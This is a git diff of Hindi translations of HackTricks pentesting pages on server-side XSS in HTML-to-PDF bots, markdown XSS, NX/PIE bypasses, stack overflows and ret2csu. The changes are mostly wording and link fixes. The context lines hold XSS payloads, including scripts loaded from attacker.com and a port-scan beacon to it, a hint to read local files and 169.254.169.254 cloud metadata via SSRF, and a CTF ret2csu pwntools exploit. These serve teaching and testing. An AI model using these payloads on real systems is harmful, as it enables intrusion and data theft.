@ -60,7 +60,7 @@ alert(1);
|
||||
</script>
|
||||
</svg>
|
||||
```
|
||||
आप बहुत सारे **अन्य SVG पेलोड** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) में पा सकते हैं
|
||||
आप बहुत सारे **अन्य SVG पेलोड** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) में पा सकते हैं।
|
||||
|
||||
### पथ प्रकटीकरण
|
||||
```markup
|
||||
@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
<script> document.write(window.location) </script>
|
||||
```
|
||||
### एक बाहरी स्क्रिप्ट लोड करें
|
||||
### Load an external script
|
||||
|
||||
इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ इसे लोड करने के लिए मजबूर कर सकेंगे।
|
||||
इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ लोड करने के लिए मजबूर कर सकेंगे।
|
||||
```markup
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
@ -81,7 +81,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
> [!WARNING]
|
||||
> `file:///etc/passwd` को उदाहरण के लिए `http://169.254.169.254/latest/user-data` में बदलें ताकि **एक बाहरी वेब पृष्ठ (SSRF)** तक पहुँचने की कोशिश की जा सके।
|
||||
>
|
||||
> यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [संभावित बाईपास के लिए इस पृष्ठ की जाँच करें](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
> यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [संभावित बायपास के लिए इस पृष्ठ की जाँच करें](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
@ -145,7 +145,7 @@ checkPort(i);
|
||||
</script>
|
||||
<img src="https://attacker.com/startingScan">
|
||||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (क्या कुछ मेटाडेटा पढ़ा?).
|
||||
|
||||
@ -153,7 +153,7 @@ checkPort(i);
|
||||
|
||||
कुछ HTML 2 PDF इंजन हैं जो **PDF के लिए अटैचमेंट निर्दिष्ट करने** की अनुमति देते हैं, जैसे **PD4ML**। आप इस सुविधा का दुरुपयोग करके **PDF में किसी भी स्थानीय फ़ाइल को अटैच** कर सकते हैं।\
|
||||
अटैचमेंट खोलने के लिए मैंने **Firefox के साथ फ़ाइल खोली और पेपरक्लिप प्रतीक पर डबल क्लिक किया** ताकि **अटैचमेंट को एक नई फ़ाइल के रूप में स्टोर किया जा सके**।\
|
||||
burp के साथ **PDF प्रतिक्रिया** कैप्चर करने से **PDF के अंदर स्पष्ट पाठ में अटैचमेंट भी दिखाना चाहिए**।
|
||||
Burp के साथ **PDF प्रतिक्रिया** कैप्चर करने से **PDF के अंदर स्पष्ट पाठ में अटैचमेंट भी दिखाना चाहिए**।
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html>
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यदि आपके पास मार्कडाउन में कोड इंजेक्ट करने का अवसर है, तो कुछ विकल्प हैं जिनका उपयोग आप कोड के व्याख्या होने पर XSS को ट्रिगर करने के लिए कर सकते हैं।
|
||||
यदि आपके पास मार्कडाउन में कोड इंजेक्ट करने का मौका है, तो कुछ विकल्प हैं जिनका उपयोग आप कोड के व्याख्या होने पर XSS को ट्रिगर करने के लिए कर सकते हैं।
|
||||
|
||||
### HTML tags
|
||||
### HTML टैग
|
||||
|
||||
मार्कडाउन में XSS प्राप्त करने का सबसे सामान्य तरीका सामान्य HTML टैग्स को इंजेक्ट करना है जो जावास्क्रिप्ट को निष्पादित करते हैं, क्योंकि कई मार्कडाउन व्याख्याकार HTML को भी स्वीकार करेंगे।
|
||||
```html
|
||||
@ -14,7 +14,7 @@ alert(1)
|
||||
</script>
|
||||
<img src="x" onerror="alert(1)" />
|
||||
```
|
||||
आप अधिक उदाहरण [hacktricks के मुख्य XSS पृष्ठ]() पर पा सकते हैं।
|
||||
आप अधिक उदाहरण [hacktricks के मुख्य XSS पृष्ठ]() में पा सकते हैं।
|
||||
|
||||
### Javascript लिंक
|
||||
|
||||
@ -56,12 +56,12 @@ DOMPurify.sanitize(qs.get("content"))
|
||||
}
|
||||
</script>
|
||||
```
|
||||
पेलोड का उदाहरण:
|
||||
पेलोड्स का उदाहरण:
|
||||
```html
|
||||
<div
|
||||
id="1
|
||||
|
||||
//)">
|
||||
//index.html)">
|
||||
-----------------------------------------------
|
||||
<a
|
||||
title="a
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**No-Execute (NX)** बिट, जिसे Intel शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा विशेषता है जो **buffer overflow** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह उन मेमोरी क्षेत्रों के बीच अंतर करता है जो **executables code** के लिए निर्धारित हैं और जो **data** के लिए, जैसे कि **stack** और **heap** के लिए हैं। इसका मुख्य विचार यह है कि हमलावर को बफर ओवरफ्लो कमजोरियों के माध्यम से दुर्भावनापूर्ण कोड को निष्पादित करने से रोकना है, उदाहरण के लिए, दुर्भावनापूर्ण कोड को स्टैक में डालकर और निष्पादन प्रवाह को इसकी ओर निर्देशित करना।
|
||||
**No-Execute (NX)** बिट, जिसे Intel की शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा विशेषता है जो **buffer overflow** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह उन मेमोरी क्षेत्रों के बीच अंतर करता है जो **executables code** के लिए निर्धारित हैं और उन क्षेत्रों के लिए जो **data** के लिए हैं, जैसे कि **stack** और **heap**। इसका मुख्य विचार यह है कि एक हमलावर को बफर ओवरफ्लो कमजोरियों के माध्यम से दुर्भावनापूर्ण कोड को निष्पादित करने से रोकना है, उदाहरण के लिए, दुर्भावनापूर्ण कोड को स्टैक में डालकर और निष्पादन प्रवाह को इसकी ओर निर्देशित करना।
|
||||
|
||||
## Bypasses
|
||||
|
||||
- यह संभव है कि [**ROP**](../stack-overflow/rop-return-oriented-programing.md) जैसी तकनीकों का उपयोग करके इस सुरक्षा को बायपास किया जा सके, पहले से बाइनरी में मौजूद निष्पादन योग्य कोड के टुकड़ों को निष्पादित करके।
|
||||
- [**Ret2libc**](../stack-overflow/ret2libc/)
|
||||
- यह संभव है कि [**ROP**](../stack-overflow/rop-return-oriented-programing.md) जैसी तकनीकों का उपयोग करके इस सुरक्षा को बायपास किया जा सके, पहले से मौजूद बाइनरी में निष्पादनीय कोड के टुकड़ों को निष्पादित करके।
|
||||
- [**Ret2libc**](../stack-overflow/ret2libc/index.html)
|
||||
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
- **Ret2...**
|
||||
|
||||
|
@ -6,24 +6,24 @@
|
||||
|
||||
एक बाइनरी जिसे PIE, या **Position Independent Executable** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, हार्डकोडेड पते को रोकता है।
|
||||
|
||||
इन बाइनरीज़ का शोषण करने की चाल **सापेक्ष पते** का शोषण करना है—प्रोग्राम के भागों के बीच के ऑफसेट समान रहते हैं भले ही निरपेक्ष स्थान बदल जाए। **PIE को बायपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है**, आमतौर पर **स्टैक** से फॉर्मेट स्ट्रिंग हमलों जैसी कमजोरियों का उपयोग करके। एक बार जब आपके पास एक पता हो, तो आप उनके **फिक्स्ड ऑफसेट्स** द्वारा अन्य का अनुमान लगा सकते हैं।
|
||||
इन बाइनरीज़ का शोषण करने का तरीका **सापेक्ष पते** का शोषण करना है—प्रोग्राम के भागों के बीच के ऑफसेट समान रहते हैं भले ही निरपेक्ष स्थान बदल जाए। **PIE को बायपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है**, आमतौर पर **स्टैक** से, जैसे कि फॉर्मेट स्ट्रिंग हमलों का उपयोग करके। एक बार जब आपके पास एक पता हो, तो आप उनके **फिक्स्ड ऑफसेट्स** द्वारा अन्य का अनुमान लगा सकते हैं।
|
||||
|
||||
PIE बाइनरीज़ का शोषण करने में एक सहायक संकेत यह है कि उनका **बेस पता आमतौर पर 000 पर समाप्त होता है** क्योंकि मेमोरी पृष्ठ यादृच्छिकता के इकाइयाँ होते हैं, जिनका आकार 0x1000 बाइट्स होता है। यह संरेखण एक महत्वपूर्ण **जांच हो सकती है यदि कोई शोषण अपेक्षित रूप से काम नहीं कर रहा है**, यह संकेत करता है कि क्या सही बेस पता पहचाना गया है।\
|
||||
या आप इसे अपने शोषण के लिए उपयोग कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है, तो आप जानते हैं कि **बेस पता `0x649e1000`** है और वहां से आप बस **फंक्शंस और स्थानों के ऑफसेट्स** की गणना कर सकते हैं।
|
||||
PIE बाइनरीज़ का शोषण करने में एक सहायक संकेत यह है कि उनका **बेस पता आमतौर पर 000 पर समाप्त होता है** क्योंकि मेमोरी पृष्ठ यादृच्छिकता की इकाइयाँ होती हैं, जिनका आकार 0x1000 बाइट्स होता है। यह संरेखण एक महत्वपूर्ण **जांच हो सकती है यदि कोई शोषण अपेक्षित रूप से काम नहीं कर रहा है**, यह संकेत करता है कि क्या सही बेस पता पहचाना गया है।\
|
||||
या आप इसका उपयोग अपने शोषण के लिए कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है, तो आप जानते हैं कि **बेस पता `0x649e1000`** है और वहां से आप बस **फंक्शंस और स्थानों के ऑफसेट्स** की गणना कर सकते हैं।
|
||||
|
||||
## Bypasses
|
||||
|
||||
PIE को बायपास करने के लिए **लोड की गई** बाइनरी का कुछ पता लीक करना आवश्यक है, इसके लिए कुछ विकल्प हैं:
|
||||
|
||||
- **ASLR अक्षम**: यदि ASLR अक्षम है, तो PIE के साथ संकलित बाइनरी हमेशा **एक ही पते पर लोड होने वाली है**, इसलिए **PIE बेकार होने वाली है** क्योंकि वस्तुओं के पते हमेशा एक ही स्थान पर होंगे।
|
||||
- लीक **प्राप्त करना** (आसान CTF चुनौतियों में सामान्य, [**इस उदाहरण की जांच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- स्टैक में **सही EBP और EIP मानों** को लीक करने तक **ब्रूट-फोर्स** करना:
|
||||
- **ASLR बंद**: यदि ASLR बंद है, तो PIE के साथ संकलित बाइनरी हमेशा **एक ही पते पर लोड होने वाली है**, इसलिए **PIE बेकार हो जाएगा** क्योंकि वस्तुओं के पते हमेशा एक ही स्थान पर होंगे।
|
||||
- लीक **प्राप्त करें** (आसान CTF चुनौतियों में सामान्य, [**इस उदाहरण की जांच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- स्टैक में **EBP और EIP मानों को ब्रूट-फोर्स करें** जब तक कि आप सही लीक न करें:
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- एक मनमाना पढ़ने की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/) बाइनरी का एक पता लीक करने के लिए (जैसे, स्टैक से, पिछले तकनीक की तरह) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- एक मनमाना पढ़ने की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/index.html) बाइनरी का एक पता लीक करने के लिए (जैसे, स्टैक से, पिछले तकनीक की तरह) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निहित मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर उन असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||||
|
||||
इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया बेस सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||||
इस ओवरराइट का मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचक (EIP/RIP)** और **सहेजा गया बेस सूचक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||||
|
||||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक मात्रा की कॉपी करता है जितनी कि इसके लिए आवंटित की गई है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।\
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: `strcpy`, `strcat`, `sprintf`, `gets`... इसके अलावा, `fgets` या `read` जैसे कार्य, जो लंबाई तर्क लेते हैं, का उपयोग एक असुरक्षित तरीके से किया जा सकता है यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है।
|
||||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक में आवंटित मात्रा से अधिक बाइट्स की कॉपी करता है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।\
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: `strcpy`, `strcat`, `sprintf`, `gets`... इसके अलावा, `fgets` या `read` जैसे कार्य, जो लंबाई तर्क लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो एक संवेदनशील तरीके से उपयोग किए जा सकते हैं।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं:
|
||||
उदाहरण के लिए, निम्नलिखित कार्य संवेदनशील हो सकते हैं:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -24,9 +24,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Stack overflows ढूंढने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
|
||||
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि **रिटर्न पता ओवरराइट करने के लिए कितना ऑफसेट चाहिए**, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई **_**n**_** के हर संभव उप अनुक्रम एक बार ही** लगातार उप अनुक्रम के रूप में प्रकट होता है।
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि **रिटर्न एड्रेस को ओवरराइट करने के लिए कितना ऑफसेट चाहिए**, इसके लिए आमतौर पर एक **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई **_**n**_** के हर संभव उप अनुक्रम एक बार ही दिखाई देता है** एक सन्निकटन उप अनुक्रम के रूप में।
|
||||
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स का ऑफसेट ढूंढना संभव है जो इसे ओवरराइट करने के बाद समाप्त हो गए।
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स का ऑफसेट ढूंढना जो इसे ओवरराइट करने के बाद समाप्त हो गए।
|
||||
|
||||
इसके लिए **pwntools** का उपयोग करना संभव है:
|
||||
```python
|
||||
@ -49,14 +49,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## स्टैक ओवरफ्लोज़ का शोषण
|
||||
|
||||
एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को ओवरराइट कर सकेंगे जब तक कि आप सहेजे गए EBP/RBP और EIP/RIP तक नहीं पहुँच जाते (या इससे भी अधिक)।\
|
||||
एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को ओवरराइट करने में सक्षम होंगे जब तक कि सहेजे गए EBP/RBP और EIP/RIP तक नहीं पहुँचते (या इससे भी अधिक)।\
|
||||
इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका है **रिटर्न पते को संशोधित करना** ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**।
|
||||
|
||||
हालांकि, अन्य परिदृश्यों में केवल **स्टैक में कुछ चर के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।
|
||||
|
||||
### Ret2win
|
||||
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** ढूंढना है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/) अक्षम होगा) ताकि जब संवेदनशील फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाए:
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** ढूंढना है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब संवेदनशील फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाए:
|
||||
|
||||
{{#ref}}
|
||||
ret2win.md
|
||||
@ -64,7 +64,7 @@ ret2win.md
|
||||
|
||||
### स्टैक शेलकोड
|
||||
|
||||
इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनचाहा कोड निष्पादित कर सकता है:
|
||||
इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode.md
|
||||
@ -72,7 +72,7 @@ stack-shellcode.md
|
||||
|
||||
## ROP
|
||||
|
||||
यह तकनीक पिछले तकनीक की मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक नहीं** (NX)। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देता है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनचाहे आदेशों को निष्पादित करेंगे:
|
||||
यह तकनीक मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक नहीं** (NX)। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देता है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगे:
|
||||
|
||||
{{#ref}}
|
||||
rop-return-oriented-programing.md
|
||||
|
@ -6,13 +6,13 @@
|
||||
|
||||
**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आमतौर पर उपयोग किए जाने वाले **gadgets** नहीं मिलते। 
|
||||
|
||||
जब एक प्रोग्राम कुछ विशेष लाइब्रेरी (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित फ़ंक्शन होते हैं। इन फ़ंक्शनों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे `__libc_csu_init` कहा जाता है।
|
||||
जब एक प्रोग्राम कुछ विशेष लाइब्रेरी (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित कार्य होते हैं। इन कार्यों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे `__libc_csu_init` कहा जाता है।
|
||||
|
||||
### The Magic Gadgets in \_\_libc_csu_init
|
||||
|
||||
`__libc_csu_init` में, दो निर्देशों के अनुक्रम (हमारे "जादुई gadgets") हैं जो विशेष रूप से ध्यान आकर्षित करते हैं:
|
||||
|
||||
1. पहला अनुक्रम हमें कई रजिस्टर (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए नंबर या पते संग्रहीत कर सकते हैं।
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -25,8 +25,8 @@ ret;
|
||||
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके।
|
||||
|
||||
2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए:
|
||||
- **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, उन्हें फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना।
|
||||
- **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
|
||||
- **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, जिससे वे हमारे लिए फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार हो जाएं।
|
||||
- **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर और फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
|
||||
```
|
||||
mov rdx, r14;
|
||||
mov rsi, r13;
|
||||
@ -35,12 +35,12 @@ call qword [r15 + rbx*8];
|
||||
```
|
||||
## उदाहरण
|
||||
|
||||
कल्पना कीजिए कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन आपको `rdx` और `rsi` रजिस्टर में विशेष मानों की आवश्यकता है। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।
|
||||
कल्पना कीजिए कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन आपको `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आपको कोई नहीं मिल रहा है।
|
||||
|
||||
यहाँ **ret2csu** का उपयोग होता है:
|
||||
|
||||
1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
|
||||
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको `rdx` और `rsi` में अपने चुने हुए मानों को स्थानांतरित करने की अनुमति देता है (क्रमशः r14 और r13 से), फ़ंक्शन कॉल के लिए पैरामीटर तैयार करते हुए। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए मजबूर कर सकते हैं जो आप द्वारा गणना की गई पते पर स्थित है और `[r15 + rbx*8]` में रखी गई है।
|
||||
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए मजबूर कर सकते हैं जो आप उस पते पर गणना करते हैं और `[r15 + rbx*8]` में रखते हैं।
|
||||
|
||||
आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहाँ समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:
|
||||
```python
|
||||
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल `win` नामक एक फ़ंक्शन को कॉल करना है (ROP चेन में `gets` को कॉल करते समय `win` का पता लेना और इसे r15 में स्टोर करना) एक तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
